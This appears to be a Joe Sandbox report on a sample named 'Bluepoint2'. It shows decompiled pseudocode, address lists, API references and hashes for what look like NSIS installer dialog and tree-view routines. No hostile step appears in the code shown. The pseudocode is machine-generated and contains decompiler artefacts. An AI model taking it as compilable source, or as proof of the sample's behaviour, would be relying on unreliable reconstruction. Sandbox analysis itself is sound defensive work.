                                                    									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
                                                    								}
                                                    								goto L93;
                                                    							} else {
                                                    								E004011EF(_t301, 0, 0);
                                                    								_t198 = _a12;
                                                    								if(_t198 != 0) {
                                                    									if(_t198 != 0xffffffff) {
                                                    										_t198 = _t198 - 1;
                                                    									}
                                                    									_push(_t198);
                                                    									_push(8);
                                                    									E00404FFF();
                                                    								}
                                                    								if(_a16 == 0) {
                                                    									L75:
                                                    									E004011EF(_t301, 0, 0);
                                                    									_v36 =  *0x423740;
                                                    									_t201 =  *0x42a288;
                                                    									_v64 = 0xf030;
                                                    									_v24 = 0;
                                                    									if( *0x42a28c <= 0) {
                                                    										L86:
                                                    										if( *0x42a31e == 0x400) {
                                                    											InvalidateRect(_v8, 0, 1);
                                                    										}
                                                    										if( *((intOrPtr*)( *0x42923c + 0x10)) != 0) {
                                                    											E00404F3A(0x3ff, 0xfffffffb, E00404F52(5));
                                                    										}
                                                    										goto L90;
                                                    									}
                                                    									_t292 = _t201 + 8;
                                                    									do {
                                                    										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
                                                    										if(_t207 != 0) {
                                                    											_t303 =  *_t292;
                                                    											_v72 = _t207;
                                                    											_v76 = 8;
                                                    											if((_t303 & 0x00000001) != 0) {
                                                    												_v76 = 9;
                                                    												_v60 =  &(_t292[4]);
                                                    												_t292[0] = _t292[0] & 0x000000fe;
                                                    											}
                                                    											if((_t303 & 0x00000040) == 0) {
                                                    												_t211 = (_t303 & 0x00000001) + 1;
                                                    												if((_t303 & 0x00000010) != 0) {
                                                    													_t211 = _t211 + 3;
                                                    												}
                                                    											} else {
                                                    												_t211 = 3;
                                                    											}
                                                    											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
                                                    											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
                                                    											SendMessageW(_v8, 0x113f, 0,  &_v76);
                                                    										}
                                                    										_v24 = _v24 + 1;
                                                    										_t292 =  &(_t292[0x206]);
                                                    									} while (_v24 <  *0x42a28c);
                                                    									goto L86;
                                                    								} else {
                                                    									_t293 = E004012E2( *0x423740);
                                                    									E00401299(_t293);
                                                    									_t222 = 0;
                                                    									_t301 = 0;
                                                    									if(_t293 <= 0) {
                                                    										L74:
                                                    										SendMessageW(_v12, 0x14e, _t301, 0);
                                                    										_a16 = _t293;
                                                    										_a8 = 0x420;
                                                    										goto L75;
                                                    									} else {
                                                    										goto L71;
                                                    									}
                                                    									do {
                                                    										L71:
                                                    										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
                                                    											_t301 = _t301 + 1;
                                                    										}
                                                    										_t222 = _t222 + 1;
                                                    									} while (_t222 < _t293);
                                                    									goto L74;
                                                    								}
                                                    							}
                                                    						}
                                                    						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
                                                    							goto L93;
                                                    						} else {
                                                    							_t232 = SendMessageW(_v12, 0x147, 0, 0);
                                                    							if(_t232 == 0xffffffff) {
                                                    								goto L93;
                                                    							}
                                                    							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
                                                    							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
                                                    								_t294 = 0x20;
                                                    							}
                                                    							E00401299(_t294);
                                                    							SendMessageW(_a4, 0x420, 0, _t294);
                                                    							_a12 = _a12 | 0xffffffff;
                                                    							_a16 = 0;
                                                    							_a8 = 0x40f;
                                                    							goto L56;
                                                    						}
                                                    					}
                                                    				} else {
                                                    					_v36 = 0;
                                                    					_v20 = 2;
                                                    					 *0x42a2c0 = _t291;
                                                    					 *0x423740 = GlobalAlloc(0x40,  *0x42a28c << 2);
                                                    					_t258 = LoadImageW( *0x42a260, 0x6e, 0, 0, 0, 0);
                                                    					 *0x423734 =  *0x423734 | 0xffffffff;
                                                    					_t297 = _t258;
                                                    					 *0x42373c = SetWindowLongW(_v8, 0xfffffffc, E0040563E);
                                                    					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
                                                    					 *0x42372c = _t260;
                                                    					ImageList_AddMasked(_t260, _t297, 0xff00ff);
                                                    					SendMessageW(_v8, 0x1109, 2,  *0x42372c);
                                                    					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
                                                    						SendMessageW(_v8, 0x111b, 0x10, 0);
                                                    					}
                                                    					DeleteObject(_t297);
                                                    					_t298 = 0;
                                                    					do {
                                                    						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
                                                    						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
                                                    							if(_t298 != 0x20) {
                                                    								_v20 = 0;
                                                    							}
                                                    							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E004066A5(_t298, 0, _t326, 0, _t266)), _t298);
                                                    						}
                                                    						_t298 = _t298 + 1;
                                                    					} while (_t298 < 0x21);
                                                    					_t299 = _a16;
                                                    					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
                                                    					_push(0x15);
                                                    					E004045C4(_a4);
                                                    					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
                                                    					_push(0x16);
                                                    					E004045C4(_a4);
                                                    					_t300 = 0;
                                                    					_v16 = 0;
                                                    					if( *0x42a28c <= 0) {
                                                    						L19:
                                                    						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
                                                    						goto L20;
                                                    					} else {
                                                    						_t319 = _v24 + 8;
                                                    						_v32 = _t319;
                                                    						do {
                                                    							_t278 =  &(_t319[0x10]);
                                                    							if( *_t278 != 0) {
                                                    								_v64 = _t278;
                                                    								_t279 =  *_t319;
                                                    								_v88 = _v16;
                                                    								_t311 = 0x20;
                                                    								_v84 = 0xffff0002;
                                                    								_v80 = 0xd;
                                                    								_v68 = _t311;
                                                    								_v44 = _t300;
                                                    								_v72 = _t279 & _t311;
                                                    								if((_t279 & 0x00000002) == 0) {
                                                    									if((_t279 & 0x00000004) == 0) {
                                                    										_t281 = SendMessageW(_v8, 0x1132, 0,  &_v88); // executed
                                                    										 *( *0x423740 + _t300 * 4) = _t281;
                                                    									} else {
                                                    										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
                                                    									}
                                                    								} else {
                                                    									_v80 = 0x4d;
                                                    									_v48 = 1;
                                                    									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
                                                    									_v36 = 1;
                                                    									 *( *0x423740 + _t300 * 4) = _t284;
                                                    									_v16 =  *( *0x423740 + _t300 * 4);
                                                    								}
                                                    							}
                                                    							_t300 = _t300 + 1;
                                                    							_t319 =  &(_v32[0x818]);
                                                    							_v32 = _t319;
                                                    						} while (_t300 <  *0x42a28c);
                                                    						if(_v36 != 0) {
                                                    							L20:
                                                    							if(_v20 != 0) {
                                                    								E004045F9(_v8);
                                                    								goto L23;
                                                    							} else {
                                                    								ShowWindow(_v12, 5);
                                                    								E004045F9(_v12);
                                                    								L93:
                                                    								return E0040462B(_a8, _a12, _a16);
                                                    							}
                                                    						}
                                                    						goto L19;
                                                    					}
                                                    				}
                                                    			}



























































                                                    0x00405038
                                                    0x00405051
                                                    0x00405056
                                                    0x0040505e
                                                    0x00405064
                                                    0x0040507a
                                                    0x0040507d
                                                    0x004052a8
                                                    0x004052af
                                                    0x004052c3
                                                    0x004052b1
                                                    0x004052b3
                                                    0x004052b6
                                                    0x004052b7
                                                    0x004052be
                                                    0x004052be
                                                    0x004052cf
                                                    0x004052dd
                                                    0x004052e0
                                                    0x004052f6
                                                    0x0040536b
                                                    0x0040536e
                                                    0x00405370
                                                    0x0040537a
                                                    0x00405388
                                                    0x00405388
                                                    0x0040538a
                                                    0x00405394
                                                    0x0040539a
                                                    0x0040539d
                                                    0x004053a0
                                                    0x004053bb
                                                    0x004053a2
                                                    0x004053ac
                                                    0x004053ac
                                                    0x004053a0
                                                    0x00405394
                                                    0x00000000
                                                    0x0040536e
                                                    0x004052fb
                                                    0x00405306
                                                    0x0040530b
                                                    0x00405312
                                                    0x00405317
                                                    0x0040531b
                                                    0x00405326
                                                    0x00405326
                                                    0x0040532a
                                                    0x0040532e
                                                    0x00405332
                                                    0x00405345
                                                    0x00405334
                                                    0x00405334
                                                    0x0040533b
                                                    0x00405341
                                                    0x0040533d
                                                    0x0040533d
                                                    0x0040533d
                                                    0x0040533b
                                                    0x00405349
                                                    0x0040534b
                                                    0x0040535e
                                                    0x00405361
                                                    0x00405364
                                                    0x00405364
                                                    0x0040532e
                                                    0x00000000
                                                    0x0040531b
                                                    0x004052fd
                                                    0x00405304
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004053be
                                                    0x004053be
                                                    0x004053c5
                                                    0x00405436
                                                    0x0040543e
                                                    0x00405446
                                                    0x00405446
                                                    0x0040544f
                                                    0x00405451
                                                    0x00405458
                                                    0x0040545b
                                                    0x0040545b
                                                    0x00405461
                                                    0x00405468
                                                    0x0040546b
                                                    0x0040546b
                                                    0x00405471
                                                    0x00405477
                                                    0x0040547d
                                                    0x0040547d
                                                    0x0040548a
                                                    0x004055eb
                                                    0x004055f2
                                                    0x0040560f
                                                    0x00405615
                                                    0x00405627
                                                    0x00405627
                                                    0x00000000
                                                    0x00405490
                                                    0x00405492
                                                    0x00405497
                                                    0x0040549c
                                                    0x004054a1
                                                    0x004054a3
                                                    0x004054a3
                                                    0x004054a4
                                                    0x004054a5
                                                    0x004054a7
                                                    0x004054a7
                                                    0x004054af
                                                    0x004054f0
                                                    0x004054f2
                                                    0x00405502
                                                    0x00405505
                                                    0x0040550a
                                                    0x00405511
                                                    0x00405514
                                                    0x004055b6
                                                    0x004055bf
                                                    0x004055c7
                                                    0x004055c7
                                                    0x004055d5
                                                    0x004055e6
                                                    0x004055e6
                                                    0x00000000
                                                    0x004055d5
                                                    0x0040551a
                                                    0x0040551d
                                                    0x00405523
                                                    0x00405528
                                                    0x0040552a
                                                    0x0040552c
                                                    0x00405532
                                                    0x00405539
                                                    0x0040553e
                                                    0x00405545
                                                    0x00405548
                                                    0x00405548
                                                    0x0040554f
                                                    0x0040555b
                                                    0x0040555f
                                                    0x00405561
                                                    0x00405561
                                                    0x00405551
                                                    0x00405553
                                                    0x00405553
                                                    0x00405581
                                                    0x0040558d
                                                    0x0040559c
                                                    0x0040559c
                                                    0x0040559e
                                                    0x004055a1
                                                    0x004055aa
                                                    0x00000000
                                                    0x004054b1
                                                    0x004054bc
                                                    0x004054bf
                                                    0x004054c4
                                                    0x004054c6
                                                    0x004054ca
                                                    0x004054da
                                                    0x004054e4
                                                    0x004054e6
                                                    0x004054e9
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004054cc
                                                    0x004054cc
                                                    0x004054d2
                                                    0x004054d4
                                                    0x004054d4
                                                    0x004054d5
                                                    0x004054d6
                                                    0x00000000
                                                    0x004054cc
                                                    0x004054af
                                                    0x0040548a
                                                    0x004053cd
                                                    0x00000000
                                                    0x004053e3
                                                    0x004053ed
                                                    0x004053f2
                                                    0x00000000
                                                    0x00000000
                                                    0x00405404
                                                    0x00405409
                                                    0x00405415
                                                    0x00405415
                                                    0x00405417
                                                    0x00405426
                                                    0x00405428
                                                    0x0040542c
                                                    0x0040542f
                                                    0x00000000
                                                    0x0040542f
                                                    0x004053cd
                                                    0x00405083
                                                    0x00405088
                                                    0x00405091
                                                    0x00405098
                                                    0x004050aa
                                                    0x004050b5
                                                    0x004050bb
                                                    0x004050c9
                                                    0x004050dd
                                                    0x004050e2
                                                    0x004050ef
                                                    0x004050f4
                                                    0x0040510a
                                                    0x0040511b
                                                    0x00405128
                                                    0x00405128
                                                    0x0040512b
                                                    0x00405131
                                                    0x00405133
                                                    0x00405136
                                                    0x0040513b
                                                    0x00405140
                                                    0x00405142
                                                    0x00405142
                                                    0x00405162
                                                    0x00405162
                                                    0x00405164
                                                    0x00405165
                                                    0x0040516a
                                                    0x00405170
                                                    0x00405174
                                                    0x00405179
                                                    0x00405181
                                                    0x00405185
                                                    0x0040518a
                                                    0x0040518f
                                                    0x00405197
                                                    0x0040519a
                                                    0x0040526a
                                                    0x0040527d
                                                    0x00000000
                                                    0x004051a0
                                                    0x004051a3
                                                    0x004051a6
                                                    0x004051a9
                                                    0x004051a9
                                                    0x004051af
                                                    0x004051b8
                                                    0x004051bb
                                                    0x004051bf
                                                    0x004051c2
                                                    0x004051c5
                                                    0x004051ce
                                                    0x004051d7
                                                    0x004051da
                                                    0x004051dd
                                                    0x004051e0
                                                    0x0040521e
                                                    0x00405241
                                                    0x00405249
                                                    0x00405220
                                                    0x0040522f
                                                    0x0040522f
                                                    0x004051e2
                                                    0x004051e5
                                                    0x004051f3
                                                    0x004051fd
                                                    0x00405205
                                                    0x0040520c
                                                    0x00405217
                                                    0x00405217
                                                    0x004051e0
                                                    0x0040524f
                                                    0x00405250
                                                    0x0040525c
                                                    0x0040525c
                                                    0x00405268
                                                    0x00405283
                                                    0x00405286
                                                    0x004052a3
                                                    0x00000000
                                                    0x00405288
                                                    0x0040528d
                                                    0x00405296
                                                    0x00405629
                                                    0x0040563b
                                                    0x0040563b
                                                    0x00405286
                                                    0x00000000
                                                    0x00405268
                                                    0x0040519a

                                                    APIs
                                                    • GetDlgItem.USER32 ref: 00405049
                                                    • GetDlgItem.USER32 ref: 00405054
                                                    • GlobalAlloc.KERNEL32(00000040,?), ref: 0040509E
                                                    • LoadImageW.USER32 ref: 004050B5
                                                    • SetWindowLongW.USER32(?,000000FC,0040563E), ref: 004050CE
                                                    • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004050E2
                                                    • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004050F4
                                                    • SendMessageW.USER32(?,00001109,00000002), ref: 0040510A
                                                    • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405116
                                                    • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00405128
                                                    • DeleteObject.GDI32(00000000), ref: 0040512B
                                                    • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405156
                                                    • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405162
                                                    • SendMessageW.USER32(?,00001132,00000000,?), ref: 004051FD
                                                    • SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040522D
                                                      • Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607
                                                    • SendMessageW.USER32(?,00001132,00000000,?), ref: 00405241
                                                    • GetWindowLongW.USER32(?,000000F0), ref: 0040526F
                                                    • SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040527D
                                                    • ShowWindow.USER32(?,00000005), ref: 0040528D
                                                    • SendMessageW.USER32(?,00000419,00000000,?), ref: 00405388
                                                    • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004053ED
                                                    • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405402
                                                    • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405426
                                                    • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405446
                                                    • ImageList_Destroy.COMCTL32(?), ref: 0040545B
                                                    • GlobalFree.KERNEL32 ref: 0040546B
                                                    • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004054E4
                                                    • SendMessageW.USER32(?,00001102,?,?), ref: 0040558D
                                                    • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040559C
                                                    • InvalidateRect.USER32(?,00000000,00000001), ref: 004055C7
                                                    • ShowWindow.USER32(?,00000000), ref: 00405615
                                                    • GetDlgItem.USER32 ref: 00405620
                                                    • ShowWindow.USER32(00000000), ref: 00405627
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                    • String ID: $M$N
                                                    • API String ID: 2564846305-813528018
                                                    • Opcode ID: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
                                                    • Instruction ID: a1eb65f7683e17450fca8d4cb4c1055b074660be5b1b810df034ff690b7f681c
                                                    • Opcode Fuzzy Hash: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
                                                    • Instruction Fuzzy Hash: 2A025CB0900609EFDF20DF65CD45AAE7BB5FB44315F10817AEA10BA2E1D7798A52CF18
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 266 4040c5-4040d7 267 4040dd-4040e3 266->267 268 40423e-40424d 266->268 267->268 269 4040e9-4040f2 267->269 270 40429c-4042b1 268->270 271 40424f-40428a GetDlgItem * 2 call 4045c4 KiUserCallbackDispatcher call 40140b 268->271 275 4040f4-404101 SetWindowPos 269->275 276 404107-40410e 269->276 273 4042f1-4042f6 call 404610 270->273 274 4042b3-4042b6 270->274 292 40428f-404297 271->292 288 4042fb-404316 273->288 278 4042b8-4042c3 call 401389 274->278 279 4042e9-4042eb 274->279 275->276 281 404110-40412a ShowWindow 276->281 282 404152-404158 276->282 278->279 305 4042c5-4042e4 SendMessageW 278->305 279->273 287 404591 279->287 289 404130-404143 GetWindowLongW 281->289 290 40422b-404239 call 40462b 281->290 284 404171-404174 282->284 285 40415a-40416c DestroyWindow 282->285 295 404176-404182 SetWindowLongW 284->295 296 404187-40418d 284->296 293 40456e-404574 285->293 294 404593-40459a 287->294 299 404318-40431a call 40140b 288->299 300 40431f-404325 288->300 289->290 291 404149-40414c ShowWindow 289->291 290->294 291->282 292->270 293->287 301 404576-40457c 293->301 295->294 296->290 304 404193-4041a2 GetDlgItem 296->304 299->300 302 40432b-404336 300->302 303 40454f-404568 DestroyWindow EndDialog 300->303 301->287 308 40457e-404587 ShowWindow 301->308 302->303 309 40433c-404389 call 4066a5 call 4045c4 * 3 GetDlgItem 302->309 303->293 310 4041c1-4041c4 304->310 311 4041a4-4041bb SendMessageW IsWindowEnabled 304->311 305->294 308->287 338 404393-4043cf ShowWindow KiUserCallbackDispatcher call 4045e6 EnableWindow 309->338 339 40438b-404390 309->339 313 4041c6-4041c7 310->313 314 4041c9-4041cc 310->314 311->287 311->310 316 4041f7-4041fc call 40459d 313->316 317 4041da-4041df 314->317 318 4041ce-4041d4 314->318 316->290 321 404215-404225 SendMessageW 317->321 323 4041e1-4041e7 317->323 318->321 322 4041d6-4041d8 318->322 321->290 322->316 326 4041e9-4041ef call 40140b 323->326 327 4041fe-404207 call 40140b 323->327 334 4041f5 326->334 327->290 336 404209-404213 327->336 334->316 336->334 342 4043d1-4043d2 338->342 343 4043d4 338->343 339->338 344 4043d6-404404 GetSystemMenu EnableMenuItem SendMessageW 342->344 343->344 345 404406-404417 SendMessageW 344->345 346 404419 344->346 347 40441f-40445e call 4045f9 call 4040a6 call 406668 lstrlenW call 4066a5 SetWindowTextW call 401389 345->347 346->347 347->288 358 404464-404466 347->358 358->288 359 40446c-404470 358->359 360 404472-404478 359->360 361 40448f-4044a3 DestroyWindow 359->361 360->287 362 40447e-404484 360->362 361->293 363 4044a9-4044d6 CreateDialogParamW 361->363 362->288 364 40448a 362->364 363->293 365 4044dc-404533 call 4045c4 GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 363->365 364->287 365->287 370 404535-40454d ShowWindow call 404610 365->370 370->293
                                                    C-Code - Quality: 84%
                                                    			E004040C5(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
                                                    				struct HWND__* _v28;
                                                    				void* _v84;
                                                    				void* _v88;
                                                    				void* __ebx;
                                                    				void* __edi;
                                                    				void* __esi;
                                                    				signed int _t34;
                                                    				signed int _t36;
                                                    				signed int _t38;
                                                    				struct HWND__* _t48;
                                                    				signed int _t67;
                                                    				struct HWND__* _t73;
                                                    				signed int _t86;
                                                    				struct HWND__* _t91;
                                                    				signed int _t99;
                                                    				int _t103;
                                                    				signed int _t117;
                                                    				int _t118;
                                                    				int _t122;
                                                    				signed int _t124;
                                                    				struct HWND__* _t127;
                                                    				struct HWND__* _t128;
                                                    				int _t129;
                                                    				intOrPtr _t130;
                                                    				long _t133;
                                                    				int _t135;
                                                    				int _t136;
                                                    				void* _t137;
                                                    
                                                    				_t130 = _a8;
                                                    				if(_t130 == 0x110 || _t130 == 0x408) {
                                                    					_t34 = _a12;
                                                    					_t127 = _a4;
                                                    					__eflags = _t130 - 0x110;
                                                    					 *0x423730 = _t34;
                                                    					if(_t130 == 0x110) {
                                                    						 *0x42a268 = _t127;
                                                    						 *0x423744 = GetDlgItem(_t127, 1);
                                                    						_t91 = GetDlgItem(_t127, 2);
                                                    						_push(0xffffffff);
                                                    						_push(0x1c);
                                                    						 *0x421710 = _t91;
                                                    						E004045C4(_t127);
                                                    						SetClassLongW(_t127, 0xfffffff2,  *0x429248); // executed
                                                    						 *0x42922c = E0040140B(4);
                                                    						_t34 = 1;
                                                    						__eflags = 1;
                                                    						 *0x423730 = 1;
                                                    					}
                                                    					_t124 =  *0x40a39c; // 0x0
                                                    					_t136 = 0;
                                                    					_t133 = (_t124 << 6) +  *0x42a280;
                                                    					__eflags = _t124;
                                                    					if(_t124 < 0) {
                                                    						L36:
                                                    						E00404610(0x40b);
                                                    						while(1) {
                                                    							_t36 =  *0x423730;
                                                    							 *0x40a39c =  *0x40a39c + _t36;
                                                    							_t133 = _t133 + (_t36 << 6);
                                                    							_t38 =  *0x40a39c; // 0x0
                                                    							__eflags = _t38 -  *0x42a284;
                                                    							if(_t38 ==  *0x42a284) {
                                                    								E0040140B(1);
                                                    							}
                                                    							__eflags =  *0x42922c - _t136;
                                                    							if( *0x42922c != _t136) {
                                                    								break;
                                                    							}
                                                    							__eflags =  *0x40a39c -  *0x42a284; // 0x0
                                                    							if(__eflags >= 0) {
                                                    								break;
                                                    							}
                                                    							_t117 =  *(_t133 + 0x14);
                                                    							E004066A5(_t117, _t127, _t133, 0x43a000,  *((intOrPtr*)(_t133 + 0x24)));
                                                    							_push( *((intOrPtr*)(_t133 + 0x20)));
                                                    							_push(0xfffffc19);
                                                    							E004045C4(_t127);
                                                    							_push( *((intOrPtr*)(_t133 + 0x1c)));
                                                    							_push(0xfffffc1b);
                                                    							E004045C4(_t127);
                                                    							_push( *((intOrPtr*)(_t133 + 0x28)));
                                                    							_push(0xfffffc1a);
                                                    							E004045C4(_t127);
                                                    							_t48 = GetDlgItem(_t127, 3);
                                                    							__eflags =  *0x42a2ec - _t136;
                                                    							_v28 = _t48;
                                                    							if( *0x42a2ec != _t136) {
                                                    								_t117 = _t117 & 0x0000fefd | 0x00000004;
                                                    								__eflags = _t117;
                                                    							}
                                                    							ShowWindow(_t48, _t117 & 0x00000008); // executed
                                                    							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100); // executed
                                                    							E004045E6(_t117 & 0x00000002);
                                                    							_t118 = _t117 & 0x00000004;
                                                    							EnableWindow( *0x421710, _t118);
                                                    							__eflags = _t118 - _t136;
                                                    							if(_t118 == _t136) {
                                                    								_push(1);
                                                    							} else {
                                                    								_push(_t136);
                                                    							}
                                                    							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
                                                    							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
                                                    							__eflags =  *0x42a2ec - _t136;
                                                    							if( *0x42a2ec == _t136) {
                                                    								_push( *0x423744);
                                                    							} else {
                                                    								SendMessageW(_t127, 0x401, 2, _t136);
                                                    								_push( *0x421710);
                                                    							}
                                                    							E004045F9();
                                                    							E00406668(0x423748, E004040A6());
                                                    							E004066A5(0x423748, _t127, _t133,  &(0x423748[lstrlenW(0x423748)]),  *((intOrPtr*)(_t133 + 0x18)));
                                                    							SetWindowTextW(_t127, 0x423748); // executed
                                                    							_push(_t136);
                                                    							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)));
                                                    							__eflags = _t67;
                                                    							if(_t67 != 0) {
                                                    								continue;
                                                    							} else {
                                                    								__eflags =  *_t133 - _t136;
                                                    								if( *_t133 == _t136) {
                                                    									continue;
                                                    								}
                                                    								__eflags =  *(_t133 + 4) - 5;
                                                    								if( *(_t133 + 4) != 5) {
                                                    									DestroyWindow( *0x429238); // executed
                                                    									 *0x422720 = _t133;
                                                    									__eflags =  *_t133 - _t136;
                                                    									if( *_t133 <= _t136) {
                                                    										goto L60;
                                                    									}
                                                    									_t73 = CreateDialogParamW( *0x42a260,  *_t133 +  *0x429240 & 0x0000ffff, _t127,  *(0x40a3a0 +  *(_t133 + 4) * 4), _t133); // executed
                                                    									__eflags = _t73 - _t136;
                                                    									 *0x429238 = _t73;
                                                    									if(_t73 == _t136) {
                                                    										goto L60;
                                                    									}
                                                    									_push( *((intOrPtr*)(_t133 + 0x2c)));
                                                    									_push(6);
                                                    									E004045C4(_t73);
                                                    									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
                                                    									ScreenToClient(_t127, _t137 + 0x10);
                                                    									SetWindowPos( *0x429238, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
                                                    									_push(_t136);
                                                    									E00401389( *((intOrPtr*)(_t133 + 0xc)));
                                                    									__eflags =  *0x42922c - _t136;
                                                    									if( *0x42922c != _t136) {
                                                    										goto L63;
                                                    									}
                                                    									ShowWindow( *0x429238, 8);
                                                    									E00404610(0x405);
                                                    									goto L60;
                                                    								}
                                                    								__eflags =  *0x42a2ec - _t136;
                                                    								if( *0x42a2ec != _t136) {
                                                    									goto L63;
                                                    								}
                                                    								__eflags =  *0x42a2e0 - _t136;
                                                    								if( *0x42a2e0 != _t136) {
                                                    									continue;
                                                    								}
                                                    								goto L63;
                                                    							}
                                                    						}
                                                    						DestroyWindow( *0x429238);
                                                    						 *0x42a268 = _t136;
                                                    						EndDialog(_t127,  *0x421f18);
                                                    						goto L60;
                                                    					} else {
                                                    						__eflags = _t34 - 1;
                                                    						if(_t34 != 1) {
                                                    							L35:
                                                    							__eflags =  *_t133 - _t136;
                                                    							if( *_t133 == _t136) {
                                                    								goto L63;
                                                    							}
                                                    							goto L36;
                                                    						}
                                                    						_push(0);
                                                    						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
                                                    						__eflags = _t86;
                                                    						if(_t86 == 0) {
                                                    							goto L35;
                                                    						}
                                                    						SendMessageW( *0x429238, 0x40f, 0, 1);
                                                    						__eflags =  *0x42922c;
                                                    						return 0 |  *0x42922c == 0x00000000;
                                                    					}
                                                    				} else {
                                                    					_t127 = _a4;
                                                    					_t136 = 0;
                                                    					if(_t130 == 0x47) {
                                                    						SetWindowPos( *0x423728, _t127, 0, 0, 0, 0, 0x13);
                                                    					}
                                                    					_t122 = _a12;
                                                    					if(_t130 != 5) {
                                                    						L8:
                                                    						if(_t130 != 0x40d) {
                                                    							__eflags = _t130 - 0x11;
                                                    							if(_t130 != 0x11) {
                                                    								__eflags = _t130 - 0x111;
                                                    								if(_t130 != 0x111) {
                                                    									goto L28;
                                                    								}
                                                    								_t135 = _t122 & 0x0000ffff;
                                                    								_t128 = GetDlgItem(_t127, _t135);
                                                    								__eflags = _t128 - _t136;
                                                    								if(_t128 == _t136) {
                                                    									L15:
                                                    									__eflags = _t135 - 1;
                                                    									if(_t135 != 1) {
                                                    										__eflags = _t135 - 3;
                                                    										if(_t135 != 3) {
                                                    											_t129 = 2;
                                                    											__eflags = _t135 - _t129;
                                                    											if(_t135 != _t129) {
                                                    												L27:
                                                    												SendMessageW( *0x429238, 0x111, _t122, _a16);
                                                    												goto L28;
                                                    											}
                                                    											__eflags =  *0x42a2ec - _t136;
                                                    											if( *0x42a2ec == _t136) {
                                                    												_t99 = E0040140B(3);
                                                    												__eflags = _t99;
                                                    												if(_t99 != 0) {
                                                    													goto L28;
                                                    												}
                                                    												 *0x421f18 = 1;
                                                    												L23:
                                                    												_push(0x78);
                                                    												L24:
                                                    												E0040459D();
                                                    												goto L28;
                                                    											}
                                                    											E0040140B(_t129);
                                                    											 *0x421f18 = _t129;
                                                    											goto L23;
                                                    										}
                                                    										__eflags =  *0x40a39c - _t136; // 0x0
                                                    										if(__eflags <= 0) {
                                                    											goto L27;
                                                    										}
                                                    										_push(0xffffffff);
                                                    										goto L24;
                                                    									}
                                                    									_push(_t135);
                                                    									goto L24;
                                                    								}
                                                    								SendMessageW(_t128, 0xf3, _t136, _t136);
                                                    								_t103 = IsWindowEnabled(_t128);
                                                    								__eflags = _t103;
